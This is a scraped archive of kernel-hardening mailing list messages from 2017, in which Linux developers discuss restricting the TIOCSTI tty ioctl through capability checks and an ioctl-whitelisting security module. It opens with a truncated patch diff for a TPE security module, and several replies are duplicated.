 security/tpe/Makefile |   3 +
 security/tpe/tpe_lsm.c| 175 ++
 8 files changed, 249 insertions(+)
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/MAINTAINERS b/MAINTAINERS
index 38d3e4e..1952bd6 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -11357,6 +11357,11 @@ T: git 
git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux.git yama/tip
 S: Supported
 F: security/yama/
 
+TPE SECURITY MODULE
+M: Matt Brown 
+S: Supported
+F: security/tpe/
+
 SENSABLE PHANTOM
 M: Jiri Slaby 
 S: Maintained
diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h
index e29d4c6..d017f49 100644
--- a/include/linux/lsm_hooks.h
+++ b/include/linux/lsm_hooks.h
@@ -1920,5 +1920,10 @@ void __init loadpin_add_hooks(void);
 #else
 static inline void loadpin_add_hooks(void) { };
 #endif
+#ifdef CONFIG_SECURITY_TPE
+void __init tpe_add_hooks(void);
+#else
+static inline void tpe_add_hooks(void) { };
+#endif
 
 #endif /* ! __LINUX_LSM_HOOKS_H */
diff --git a/security/Kconfig b/security/Kconfig
index 34fb609..30e60cd 100644
--- a/security/Kconfig
+++ b/security/Kconfig
@@ -245,6 +245,7 @@ source security/tomoyo/Kconfig
 source security/apparmor/Kconfig
 source security/loadpin/Kconfig
 source security/yama/Kconfig
+source security/tpe/Kconfig
 
 source security/integrity/Kconfig
 
diff --git a/security/Makefile b/security/Makefile
index f2d71cd..f8b5197 100644
--- a/security/Makefile
+++ b/security/Makefile
@@ -9,6 +9,7 @@ subdir-$(CONFIG_SECURITY_TOMOYO)+= tomoyo
 subdir-$(CONFIG_SECURITY_APPARMOR) += apparmor
 subdir-$(CONFIG_SECURITY_YAMA) += yama
 subdir-$(CONFIG_SECURITY_LOADPIN)  += loadpin
+subdir

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 4:05 PM, Alan Cox wrote:
>> Can't we also have a sysctl that toggles if CAP_SYS_ADMIN is involved in
>> this whitelist check? Otherwise someone might leave things out of the
>> whitelist just because they want to use those ioctls as a privileged
>> process. Also restricting a privileged user from ioctls with this
>> whitelist approach is going to be pointless because, if the whitelist is
>> configurable from userspace, they will just be able to modify the
>> whitelist.
> 
> Something like CAP_SYS_ADMIN is fine if you must have it configurable on
> the grounds that CAP_SYS_ADMIN will let you override the list anyway.
> 
>> I'm fine with moving this to an LSM that whitelists ioctls. I also want
>> to understand what a whitelist would like look and how you would
>> configure it? Does a sysctl that is a list of allowed ioctls work? I
>> don't want to just have a static whitelist that you can't change without
>> recompiling your kernel.
> 
> That's odd because your previous argument was for a fixed one entry
> whitelist containing TIOCSTI 8)
> 

I just take some convincing that's all ;)

> The list can probably be fixed. IMHO those wanting to do cleverer stuff
> sre inevitably going to end up using a "grown up" LSM for the job because
> 

I really want it to be more flexible if we are making this into a full
blown LSM. From drivers/tty/tty_ioctl.c I gather the following tty
ioctls:

TCGETA
TCGETS
TCGETS2
TCGETX
TCSETA
TCSETAF
TCSETAW
TCSETS
TCSETS2
TCSETSF
TCSETSF2
TCSETSW
TCSETSW2
TCSETX
TCSETXF
TCSETXW
TIOCGETC
TIOCGETP
TIOCGLCKTRMIOS
TIOCGLTC
TIOCGSOFTCAR
TIOCSETC
TIOCSETN
TIOCSETP
TIOCSLCKTRMIOS
TIOCSLTC
TIOCSSOFTCAR

would it be overkill to have a sysctl kernel.ttyioctlwhitelist.X where X
is one of the ioctls above?

(definitely will work on a better name than ttyioctlwhitelist)


> a) they'll want to shape things like su not just containers
> b) they will have cases where you want to lock down cleverly - eg you can
> disable TIOCSTI use except by certain apps, and make those apps non
> ptraceable so only existing real users of it can continue to use it.

I agree. When you have those kinds of requirements, a MAC is required.

> 
> For the whitelist you want most of the standard tty ioctls, but none of
> the device specific ones, none of the hardware configuration ones, no
> TIOCSTI, no selection, no line discipline change (or you can set a
> network ldisc or various other evil and fascinating things).
> 
> I really think that for container type uses the whitelist can be fairly
> clearly defined because we know a container isn't supposed to be screwing
> with the hardware of the parent, configuring network interfaces or
> pushing data to trip people up.
> 
> If we are prepared to accept nuisance attacks (messing up baud rate,
> hangup, etc) then it's fairly easy to fix.
> 
> So I'd say it's all the generic tty ioctls except TIOCSTI and TIOCSETD
> but it would be good to see what Android is going with and why.
> 
> You can still do some typeback stuff even then because the consoles and
> terminals have ranges of query and requests you can trigger. As you can
> use termios to absorb some symbols in the reply and map which one to use
> for newline you can even type stuff. However it's very limited - hex
> digits, [, c and some other oddments. People have looked hard at that and
> I've yet to see a successful attack. Yes I can make you run test (aka
> '[') but I've yet to see a way to use it for anything.
> 
> Alan
> 

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 4:05 PM, Alan Cox wrote:
>> Can't we also have a sysctl that toggles if CAP_SYS_ADMIN is involved in
>> this whitelist check? Otherwise someone might leave things out of the
>> whitelist just because they want to use those ioctls as a privileged
>> process. Also restricting a privileged user from ioctls with this
>> whitelist approach is going to be pointless because, if the whitelist is
>> configurable from userspace, they will just be able to modify the
>> whitelist.
> 
> Something like CAP_SYS_ADMIN is fine if you must have it configurable on
> the grounds that CAP_SYS_ADMIN will let you override the list anyway.
> 
>> I'm fine with moving this to an LSM that whitelists ioctls. I also want
>> to understand what a whitelist would like look and how you would
>> configure it? Does a sysctl that is a list of allowed ioctls work? I
>> don't want to just have a static whitelist that you can't change without
>> recompiling your kernel.
> 
> That's odd because your previous argument was for a fixed one entry
> whitelist containing TIOCSTI 8)
> 

I just take some convincing that's all ;)

> The list can probably be fixed. IMHO those wanting to do cleverer stuff
> sre inevitably going to end up using a "grown up" LSM for the job because
> 

I really want it to be more flexible if we are making this into a full
blown LSM. From drivers/tty/tty_ioctl.c I gather the following tty
ioctls:

TCGETA
TCGETS
TCGETS2
TCGETX
TCSETA
TCSETAF
TCSETAW
TCSETS
TCSETS2
TCSETSF
TCSETSF2
TCSETSW
TCSETSW2
TCSETX
TCSETXF
TCSETXW
TIOCGETC
TIOCGETP
TIOCGLCKTRMIOS
TIOCGLTC
TIOCGSOFTCAR
TIOCSETC
TIOCSETN
TIOCSETP
TIOCSLCKTRMIOS
TIOCSLTC
TIOCSSOFTCAR

would it be overkill to have a sysctl kernel.ttyioctlwhitelist.X where X
is one of the ioctls above?

(definitely will work on a better name than ttyioctlwhitelist)


> a) they'll want to shape things like su not just containers
> b) they will have cases where you want to lock down cleverly - eg you can
> disable TIOCSTI use except by certain apps, and make those apps non
> ptraceable so only existing real users of it can continue to use it.

I agree. When you have those kinds of requirements, a MAC is required.

> 
> For the whitelist you want most of the standard tty ioctls, but none of
> the device specific ones, none of the hardware configuration ones, no
> TIOCSTI, no selection, no line discipline change (or you can set a
> network ldisc or various other evil and fascinating things).
> 
> I really think that for container type uses the whitelist can be fairly
> clearly defined because we know a container isn't supposed to be screwing
> with the hardware of the parent, configuring network interfaces or
> pushing data to trip people up.
> 
> If we are prepared to accept nuisance attacks (messing up baud rate,
> hangup, etc) then it's fairly easy to fix.
> 
> So I'd say it's all the generic tty ioctls except TIOCSTI and TIOCSETD
> but it would be good to see what Android is going with and why.
> 
> You can still do some typeback stuff even then because the consoles and
> terminals have ranges of query and requests you can trigger. As you can
> use termios to absorb some symbols in the reply and map which one to use
> for newline you can even type stuff. However it's very limited - hex
> digits, [, c and some other oddments. People have looked hard at that and
> I've yet to see a successful attack. Yes I can make you run test (aka
> '[') but I've yet to see a way to use it for anything.
> 
> Alan
> 

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 3:25 PM, Kees Cook wrote:
> On Fri, Jun 2, 2017 at 12:22 PM, Matt Brown <m...@nmatt.com> wrote:
>> On 6/2/17 2:18 PM, Serge E. Hallyn wrote:
>>> Quoting Matt Brown (m...@nmatt.com):
>>>> On 6/2/17 12:57 PM, Serge E. Hallyn wrote:
>>>>> I'm not quite sure what you're asking for here.  Let me offer a precise
>>>>> strawman design.  I'm sure there are problems with it, it's just a 
>>>>> starting
>>>>> point.
>>>>>
>>>>> system-wide whitelist (for now 'may_push_chars') is full by default.
>>>>>
>>>>
>>>> So is may_push_chars just an alias for TIOCSTI? Or are there some
>>>> potential whitelist members that would map to multiple ioctls?
>>>
>>>   I'm seeing it as only TIOCSTI right now.
>>>
>>>>> By default, nothing changes - you can use those on your own tty, need
>>>>> CAP_SYS_ADMIN against init_user_ns otherwise.
>>>>>
>>>>> Introduce a new CAP_TTY_PRIVILEGED.
>>>>>
>>>>
>>>> I'm fine with this.
>>>>
>>>>> When may_push_chars is removed from the whitelist, you lose the ability
>>>>> to use TIOCSTI on a tty - even your own - if you do not have 
>>>>> CAP_TTY_PRIVILEGED
>>>>> against the tty's user_ns.
>>>>>
>>>>
>>>> How do you propose storing/updating the whitelist? sysctl?
>>>>
>>>> If it is a sysctl, would each whitelist member have a sysctl?
>>>> e.g.: kernel.ioctlwhitelist.may_push_chars = 1
>>>>
>>>> Overall, I'm fine with this idea.
>>>
>>> That sounds reasonable.  Or a securityfs file - I guess not everyone
>>> has securityfs, but if it were to become part of YAMA then that would
>>> work.
>>>
>>
>> Yama doesn't depend on securityfs does it?
>>
>> What do other people think? Should this be an addition to YAMA or its
>> own thing?
>>
>> Alan Cox: what do you think of the above ioctl whitelisting scheme?
> 
> It's easy to stack LSMs, so since Yama is ptrace-focused, perhaps make
> a separate one for TTY hardening?
> 

Sounds good. I also like the idea of them being separate.

Matt Brown

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 3:25 PM, Kees Cook wrote:
> On Fri, Jun 2, 2017 at 12:22 PM, Matt Brown  wrote:
>> On 6/2/17 2:18 PM, Serge E. Hallyn wrote:
>>> Quoting Matt Brown (m...@nmatt.com):
>>>> On 6/2/17 12:57 PM, Serge E. Hallyn wrote:
>>>>> I'm not quite sure what you're asking for here.  Let me offer a precise
>>>>> strawman design.  I'm sure there are problems with it, it's just a 
>>>>> starting
>>>>> point.
>>>>>
>>>>> system-wide whitelist (for now 'may_push_chars') is full by default.
>>>>>
>>>>
>>>> So is may_push_chars just an alias for TIOCSTI? Or are there some
>>>> potential whitelist members that would map to multiple ioctls?
>>>
>>>   I'm seeing it as only TIOCSTI right now.
>>>
>>>>> By default, nothing changes - you can use those on your own tty, need
>>>>> CAP_SYS_ADMIN against init_user_ns otherwise.
>>>>>
>>>>> Introduce a new CAP_TTY_PRIVILEGED.
>>>>>
>>>>
>>>> I'm fine with this.
>>>>
>>>>> When may_push_chars is removed from the whitelist, you lose the ability
>>>>> to use TIOCSTI on a tty - even your own - if you do not have 
>>>>> CAP_TTY_PRIVILEGED
>>>>> against the tty's user_ns.
>>>>>
>>>>
>>>> How do you propose storing/updating the whitelist? sysctl?
>>>>
>>>> If it is a sysctl, would each whitelist member have a sysctl?
>>>> e.g.: kernel.ioctlwhitelist.may_push_chars = 1
>>>>
>>>> Overall, I'm fine with this idea.
>>>
>>> That sounds reasonable.  Or a securityfs file - I guess not everyone
>>> has securityfs, but if it were to become part of YAMA then that would
>>> work.
>>>
>>
>> Yama doesn't depend on securityfs does it?
>>
>> What do other people think? Should this be an addition to YAMA or its
>> own thing?
>>
>> Alan Cox: what do you think of the above ioctl whitelisting scheme?
> 
> It's easy to stack LSMs, so since Yama is ptrace-focused, perhaps make
> a separate one for TTY hardening?
> 

Sounds good. I also like the idea of them being separate.

Matt Brown

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 2:18 PM, Serge E. Hallyn wrote:
> Quoting Matt Brown (m...@nmatt.com):
>> On 6/2/17 12:57 PM, Serge E. Hallyn wrote:
>>> I'm not quite sure what you're asking for here.  Let me offer a precise
>>> strawman design.  I'm sure there are problems with it, it's just a starting
>>> point.
>>>
>>> system-wide whitelist (for now 'may_push_chars') is full by default.
>>>
>>
>> So is may_push_chars just an alias for TIOCSTI? Or are there some
>> potential whitelist members that would map to multiple ioctls?
> 
>   I'm seeing it as only TIOCSTI right now.
> 
>>> By default, nothing changes - you can use those on your own tty, need
>>> CAP_SYS_ADMIN against init_user_ns otherwise.
>>>
>>> Introduce a new CAP_TTY_PRIVILEGED.
>>>
>>
>> I'm fine with this.
>>
>>> When may_push_chars is removed from the whitelist, you lose the ability
>>> to use TIOCSTI on a tty - even your own - if you do not have 
>>> CAP_TTY_PRIVILEGED
>>> against the tty's user_ns.
>>>
>>
>> How do you propose storing/updating the whitelist? sysctl?
>>
>> If it is a sysctl, would each whitelist member have a sysctl?
>> e.g.: kernel.ioctlwhitelist.may_push_chars = 1
>>
>> Overall, I'm fine with this idea.
> 
> That sounds reasonable.  Or a securityfs file - I guess not everyone
> has securityfs, but if it were to become part of YAMA then that would
> work.
> 

Yama doesn't depend on securityfs does it?

What do other people think? Should this be an addition to YAMA or its
own thing?

Alan Cox: what do you think of the above ioctl whitelisting scheme?

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 2:18 PM, Serge E. Hallyn wrote:
> Quoting Matt Brown (m...@nmatt.com):
>> On 6/2/17 12:57 PM, Serge E. Hallyn wrote:
>>> I'm not quite sure what you're asking for here.  Let me offer a precise
>>> strawman design.  I'm sure there are problems with it, it's just a starting
>>> point.
>>>
>>> system-wide whitelist (for now 'may_push_chars') is full by default.
>>>
>>
>> So is may_push_chars just an alias for TIOCSTI? Or are there some
>> potential whitelist members that would map to multiple ioctls?
> 
>   I'm seeing it as only TIOCSTI right now.
> 
>>> By default, nothing changes - you can use those on your own tty, need
>>> CAP_SYS_ADMIN against init_user_ns otherwise.
>>>
>>> Introduce a new CAP_TTY_PRIVILEGED.
>>>
>>
>> I'm fine with this.
>>
>>> When may_push_chars is removed from the whitelist, you lose the ability
>>> to use TIOCSTI on a tty - even your own - if you do not have 
>>> CAP_TTY_PRIVILEGED
>>> against the tty's user_ns.
>>>
>>
>> How do you propose storing/updating the whitelist? sysctl?
>>
>> If it is a sysctl, would each whitelist member have a sysctl?
>> e.g.: kernel.ioctlwhitelist.may_push_chars = 1
>>
>> Overall, I'm fine with this idea.
> 
> That sounds reasonable.  Or a securityfs file - I guess not everyone
> has securityfs, but if it were to become part of YAMA then that would
> work.
> 

Yama doesn't depend on securityfs does it?

What do other people think? Should this be an addition to YAMA or its
own thing?

Alan Cox: what do you think of the above ioctl whitelisting scheme?

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 12:57 PM, Serge E. Hallyn wrote:
> Quoting Matt Brown (m...@nmatt.com):
>> On 6/2/17 11:36 AM, Serge E. Hallyn wrote:
>>> Quoting Matt Brown (m...@nmatt.com):
>>>> On 6/1/17 5:24 PM, Alan Cox wrote:
>>>>>> There's a difference between "bugs" and "security bugs". Letting
>>>>>
>>>>> Not really, it's merely a matter of severity of result. A non security
>>>>> bug that hoses your hard disk is to anyone but security nutcases at
>>>>> least as bad as a security hole.
>>>>>
>>>>>> security bugs continue to get exploited because we want to flush out
>>>>>> bugs seems insensitive to the people getting attacked. I'd rather
>>>>>> protect against a class of bug than have to endless fix each bug.
>>>>>
>>>>> The others are security bugs too to varying degree
>>>>>
>>>>>>> I'm not against doing something to protect the container folks, but that
>>>>>>> something as with Android is a whitelist of ioctls. And if we need to do
>>>>>>> this with a kernel hook lets do it properly.
>>>>>>>
>>>>>>> Remember the namespace of the tty on creation
>>>>>>> If the magic security flag is set then
>>>>>>> Apply a whitelist to *any* tty ioctl call where the ns doesn't
>>>>>>> match
>>>>>>>
>>>>>>> and we might as well just take the Android whitelist since they've 
>>>>>>> kindly
>>>>>>> built it for us all!
>>>>>>>
>>>>>>> In the tty layer it ends up being something around 10 lines of code and
>>>>>>> some other file somewhere in security/ that's just a switch or similar
>>>>>>> with the whitelisted ioctl codes in it.
>>>>>>>
>>>>>>> That (or a similar SELinux ruleset) would actually fix the problem.
>>>>>>> SELinux would be better because it can also apply the rules when doing
>>>>>>> things like su/sudo/...  
>>>>>>
>>>>>> Just to play devil's advocate, wouldn't such a system continue to not
>>>>>> address your physical-console concerns? I wouldn't want to limit the
>>>>>
>>>>> It would for the cases that a whitelist and container check covers -
>>>>> because the whitelist wouldn't allow you to do anything but boring stuff
>>>>> on the tty. TIOCSTI is just one of a whole range of differently stupid
>>>>> and annoying opportunities. Containers do not and should not be able to
>>>>> set the keymap, change the video mode, use console selection, make funny
>>>>> beepy noises, access video I/O registers and all the other stuff like
>>>>> that. Nothing is going to break if we have a fairly conservative
>>>>> whitelist.
>>>>>
>>>>>> protection to only containers (but it's a good start), since it
>>>>>> wouldn't protect people not using containers that still have a
>>>>>> privileged TTY attached badly somewhere.
>>>>>
>>>>> How are you going to magically fix the problem. I'm not opposed to fixing
>>>>> the real problem but right now it appears to be a product of wishful
>>>>> thinking not programming. What's the piece of security code that
>>>>> magically discerns the fact you are running something untrusted at the
>>>>> other end of your tty. SELinux can do it via labelling but I don't see
>>>>> any generic automatic way for the kernel to magically work out when to
>>>>> whitelist and when not to. If there is a better magic rule than
>>>>> differing-namespace then provide the code.
>>>>>
>>>>> You can't just disable TIOCSTI, it has users deal with it. You can
>>>>> get away with disabling it for namespace crossing I think but if you do
>>>>> that you need to disable a pile of others.
>>>>>
>>>>> (If it breaks containers blocking TIOCSTI then we need to have a good
>>>>> look at algorithms for deciding when to flush the input queue on exiting
>>>>> a container or somesuch)
>>>>>
>>>>>> If you're talking about wholistic SELinux policy, sure, I could
>>>>>> imagine a wholistic fix. But for the ton

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 12:57 PM, Serge E. Hallyn wrote:
> Quoting Matt Brown (m...@nmatt.com):
>> On 6/2/17 11:36 AM, Serge E. Hallyn wrote:
>>> Quoting Matt Brown (m...@nmatt.com):
>>>> On 6/1/17 5:24 PM, Alan Cox wrote:
>>>>>> There's a difference between "bugs" and "security bugs". Letting
>>>>>
>>>>> Not really, it's merely a matter of severity of result. A non security
>>>>> bug that hoses your hard disk is to anyone but security nutcases at
>>>>> least as bad as a security hole.
>>>>>
>>>>>> security bugs continue to get exploited because we want to flush out
>>>>>> bugs seems insensitive to the people getting attacked. I'd rather
>>>>>> protect against a class of bug than have to endless fix each bug.
>>>>>
>>>>> The others are security bugs too to varying degree
>>>>>
>>>>>>> I'm not against doing something to protect the container folks, but that
>>>>>>> something as with Android is a whitelist of ioctls. And if we need to do
>>>>>>> this with a kernel hook lets do it properly.
>>>>>>>
>>>>>>> Remember the namespace of the tty on creation
>>>>>>> If the magic security flag is set then
>>>>>>> Apply a whitelist to *any* tty ioctl call where the ns doesn't
>>>>>>> match
>>>>>>>
>>>>>>> and we might as well just take the Android whitelist since they've 
>>>>>>> kindly
>>>>>>> built it for us all!
>>>>>>>
>>>>>>> In the tty layer it ends up being something around 10 lines of code and
>>>>>>> some other file somewhere in security/ that's just a switch or similar
>>>>>>> with the whitelisted ioctl codes in it.
>>>>>>>
>>>>>>> That (or a similar SELinux ruleset) would actually fix the problem.
>>>>>>> SELinux would be better because it can also apply the rules when doing
>>>>>>> things like su/sudo/...  
>>>>>>
>>>>>> Just to play devil's advocate, wouldn't such a system continue to not
>>>>>> address your physical-console concerns? I wouldn't want to limit the
>>>>>
>>>>> It would for the cases that a whitelist and container check covers -
>>>>> because the whitelist wouldn't allow you to do anything but boring stuff
>>>>> on the tty. TIOCSTI is just one of a whole range of differently stupid
>>>>> and annoying opportunities. Containers do not and should not be able to
>>>>> set the keymap, change the video mode, use console selection, make funny
>>>>> beepy noises, access video I/O registers and all the other stuff like
>>>>> that. Nothing is going to break if we have a fairly conservative
>>>>> whitelist.
>>>>>
>>>>>> protection to only containers (but it's a good start), since it
>>>>>> wouldn't protect people not using containers that still have a
>>>>>> privileged TTY attached badly somewhere.
>>>>>
>>>>> How are you going to magically fix the problem. I'm not opposed to fixing
>>>>> the real problem but right now it appears to be a product of wishful
>>>>> thinking not programming. What's the piece of security code that
>>>>> magically discerns the fact you are running something untrusted at the
>>>>> other end of your tty. SELinux can do it via labelling but I don't see
>>>>> any generic automatic way for the kernel to magically work out when to
>>>>> whitelist and when not to. If there is a better magic rule than
>>>>> differing-namespace then provide the code.
>>>>>
>>>>> You can't just disable TIOCSTI, it has users deal with it. You can
>>>>> get away with disabling it for namespace crossing I think but if you do
>>>>> that you need to disable a pile of others.
>>>>>
>>>>> (If it breaks containers blocking TIOCSTI then we need to have a good
>>>>> look at algorithms for deciding when to flush the input queue on exiting
>>>>> a container or somesuch)
>>>>>
>>>>>> If you're talking about wholistic SELinux policy, sure, I could
>>>>>> imagine a wholistic fix. But for the ton

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 11:36 AM, Serge E. Hallyn wrote:
> Quoting Matt Brown (m...@nmatt.com):
>> On 6/1/17 5:24 PM, Alan Cox wrote:
>>>> There's a difference between "bugs" and "security bugs". Letting
>>>
>>> Not really, it's merely a matter of severity of result. A non security
>>> bug that hoses your hard disk is to anyone but security nutcases at
>>> least as bad as a security hole.
>>>
>>>> security bugs continue to get exploited because we want to flush out
>>>> bugs seems insensitive to the people getting attacked. I'd rather
>>>> protect against a class of bug than have to endless fix each bug.
>>>
>>> The others are security bugs too to varying degree
>>>
>>>>> I'm not against doing something to protect the container folks, but that
>>>>> something as with Android is a whitelist of ioctls. And if we need to do
>>>>> this with a kernel hook lets do it properly.
>>>>>
>>>>> Remember the namespace of the tty on creation
>>>>> If the magic security flag is set then
>>>>> Apply a whitelist to *any* tty ioctl call where the ns doesn't
>>>>> match
>>>>>
>>>>> and we might as well just take the Android whitelist since they've kindly
>>>>> built it for us all!
>>>>>
>>>>> In the tty layer it ends up being something around 10 lines of code and
>>>>> some other file somewhere in security/ that's just a switch or similar
>>>>> with the whitelisted ioctl codes in it.
>>>>>
>>>>> That (or a similar SELinux ruleset) would actually fix the problem.
>>>>> SELinux would be better because it can also apply the rules when doing
>>>>> things like su/sudo/...  
>>>>
>>>> Just to play devil's advocate, wouldn't such a system continue to not
>>>> address your physical-console concerns? I wouldn't want to limit the
>>>
>>> It would for the cases that a whitelist and container check covers -
>>> because the whitelist wouldn't allow you to do anything but boring stuff
>>> on the tty. TIOCSTI is just one of a whole range of differently stupid
>>> and annoying opportunities. Containers do not and should not be able to
>>> set the keymap, change the video mode, use console selection, make funny
>>> beepy noises, access video I/O registers and all the other stuff like
>>> that. Nothing is going to break if we have a fairly conservative
>>> whitelist.
>>>
>>>> protection to only containers (but it's a good start), since it
>>>> wouldn't protect people not using containers that still have a
>>>> privileged TTY attached badly somewhere.
>>>
>>> How are you going to magically fix the problem. I'm not opposed to fixing
>>> the real problem but right now it appears to be a product of wishful
>>> thinking not programming. What's the piece of security code that
>>> magically discerns the fact you are running something untrusted at the
>>> other end of your tty. SELinux can do it via labelling but I don't see
>>> any generic automatic way for the kernel to magically work out when to
>>> whitelist and when not to. If there is a better magic rule than
>>> differing-namespace then provide the code.
>>>
>>> You can't just disable TIOCSTI, it has users deal with it. You can
>>> get away with disabling it for namespace crossing I think but if you do
>>> that you need to disable a pile of others.
>>>
>>> (If it breaks containers blocking TIOCSTI then we need to have a good
>>> look at algorithms for deciding when to flush the input queue on exiting
>>> a container or somesuch)
>>>
>>>> If you're talking about wholistic SELinux policy, sure, I could
>>>> imagine a wholistic fix. But for the tons of people without a
>>>> comprehensive SELinux policy, the proposed protection continues to
>>>> make sense.
>>>
>>> No it doesn't. It's completely useless unless you actually bother to
>>> address the other exploit opportunities.
>>>
>>> Right now the proposal is a hack to do 
>>>
>>> if (TIOCSTI && different_namespace && magic_flag)
>>>
>>
>>
>> This is not what my patch does. Mine is like:
>>
>>  if (TIOCSTI && !ns_capable(tty->owner_user_ns, CAP_SYS_ADMIN) &&
>>  magic_flag)
>>
&g

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/2/17 11:36 AM, Serge E. Hallyn wrote:
> Quoting Matt Brown (m...@nmatt.com):
>> On 6/1/17 5:24 PM, Alan Cox wrote:
>>>> There's a difference between "bugs" and "security bugs". Letting
>>>
>>> Not really, it's merely a matter of severity of result. A non security
>>> bug that hoses your hard disk is to anyone but security nutcases at
>>> least as bad as a security hole.
>>>
>>>> security bugs continue to get exploited because we want to flush out
>>>> bugs seems insensitive to the people getting attacked. I'd rather
>>>> protect against a class of bug than have to endless fix each bug.
>>>
>>> The others are security bugs too to varying degree
>>>
>>>>> I'm not against doing something to protect the container folks, but that
>>>>> something as with Android is a whitelist of ioctls. And if we need to do
>>>>> this with a kernel hook lets do it properly.
>>>>>
>>>>> Remember the namespace of the tty on creation
>>>>> If the magic security flag is set then
>>>>> Apply a whitelist to *any* tty ioctl call where the ns doesn't
>>>>> match
>>>>>
>>>>> and we might as well just take the Android whitelist since they've kindly
>>>>> built it for us all!
>>>>>
>>>>> In the tty layer it ends up being something around 10 lines of code and
>>>>> some other file somewhere in security/ that's just a switch or similar
>>>>> with the whitelisted ioctl codes in it.
>>>>>
>>>>> That (or a similar SELinux ruleset) would actually fix the problem.
>>>>> SELinux would be better because it can also apply the rules when doing
>>>>> things like su/sudo/...  
>>>>
>>>> Just to play devil's advocate, wouldn't such a system continue to not
>>>> address your physical-console concerns? I wouldn't want to limit the
>>>
>>> It would for the cases that a whitelist and container check covers -
>>> because the whitelist wouldn't allow you to do anything but boring stuff
>>> on the tty. TIOCSTI is just one of a whole range of differently stupid
>>> and annoying opportunities. Containers do not and should not be able to
>>> set the keymap, change the video mode, use console selection, make funny
>>> beepy noises, access video I/O registers and all the other stuff like
>>> that. Nothing is going to break if we have a fairly conservative
>>> whitelist.
>>>
>>>> protection to only containers (but it's a good start), since it
>>>> wouldn't protect people not using containers that still have a
>>>> privileged TTY attached badly somewhere.
>>>
>>> How are you going to magically fix the problem. I'm not opposed to fixing
>>> the real problem but right now it appears to be a product of wishful
>>> thinking not programming. What's the piece of security code that
>>> magically discerns the fact you are running something untrusted at the
>>> other end of your tty. SELinux can do it via labelling but I don't see
>>> any generic automatic way for the kernel to magically work out when to
>>> whitelist and when not to. If there is a better magic rule than
>>> differing-namespace then provide the code.
>>>
>>> You can't just disable TIOCSTI, it has users deal with it. You can
>>> get away with disabling it for namespace crossing I think but if you do
>>> that you need to disable a pile of others.
>>>
>>> (If it breaks containers blocking TIOCSTI then we need to have a good
>>> look at algorithms for deciding when to flush the input queue on exiting
>>> a container or somesuch)
>>>
>>>> If you're talking about wholistic SELinux policy, sure, I could
>>>> imagine a wholistic fix. But for the tons of people without a
>>>> comprehensive SELinux policy, the proposed protection continues to
>>>> make sense.
>>>
>>> No it doesn't. It's completely useless unless you actually bother to
>>> address the other exploit opportunities.
>>>
>>> Right now the proposal is a hack to do 
>>>
>>> if (TIOCSTI && different_namespace && magic_flag)
>>>
>>
>>
>> This is not what my patch does. Mine is like:
>>
>>  if (TIOCSTI && !ns_capable(tty->owner_user_ns, CAP_SYS_ADMIN) &&
>>  magic_flag)
>>
&g

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/1/17 5:24 PM, Alan Cox wrote:
>> There's a difference between "bugs" and "security bugs". Letting
> 
> Not really, it's merely a matter of severity of result. A non security
> bug that hoses your hard disk is to anyone but security nutcases at
> least as bad as a security hole.
> 
>> security bugs continue to get exploited because we want to flush out
>> bugs seems insensitive to the people getting attacked. I'd rather
>> protect against a class of bug than have to endless fix each bug.
> 
> The others are security bugs too to varying degree
> 
>>> I'm not against doing something to protect the container folks, but that
>>> something as with Android is a whitelist of ioctls. And if we need to do
>>> this with a kernel hook lets do it properly.
>>>
>>> Remember the namespace of the tty on creation
>>> If the magic security flag is set then
>>> Apply a whitelist to *any* tty ioctl call where the ns doesn't
>>> match
>>>
>>> and we might as well just take the Android whitelist since they've kindly
>>> built it for us all!
>>>
>>> In the tty layer it ends up being something around 10 lines of code and
>>> some other file somewhere in security/ that's just a switch or similar
>>> with the whitelisted ioctl codes in it.
>>>
>>> That (or a similar SELinux ruleset) would actually fix the problem.
>>> SELinux would be better because it can also apply the rules when doing
>>> things like su/sudo/...  
>>
>> Just to play devil's advocate, wouldn't such a system continue to not
>> address your physical-console concerns? I wouldn't want to limit the
> 
> It would for the cases that a whitelist and container check covers -
> because the whitelist wouldn't allow you to do anything but boring stuff
> on the tty. TIOCSTI is just one of a whole range of differently stupid
> and annoying opportunities. Containers do not and should not be able to
> set the keymap, change the video mode, use console selection, make funny
> beepy noises, access video I/O registers and all the other stuff like
> that. Nothing is going to break if we have a fairly conservative
> whitelist.
> 
>> protection to only containers (but it's a good start), since it
>> wouldn't protect people not using containers that still have a
>> privileged TTY attached badly somewhere.
> 
> How are you going to magically fix the problem. I'm not opposed to fixing
> the real problem but right now it appears to be a product of wishful
> thinking not programming. What's the piece of security code that
> magically discerns the fact you are running something untrusted at the
> other end of your tty. SELinux can do it via labelling but I don't see
> any generic automatic way for the kernel to magically work out when to
> whitelist and when not to. If there is a better magic rule than
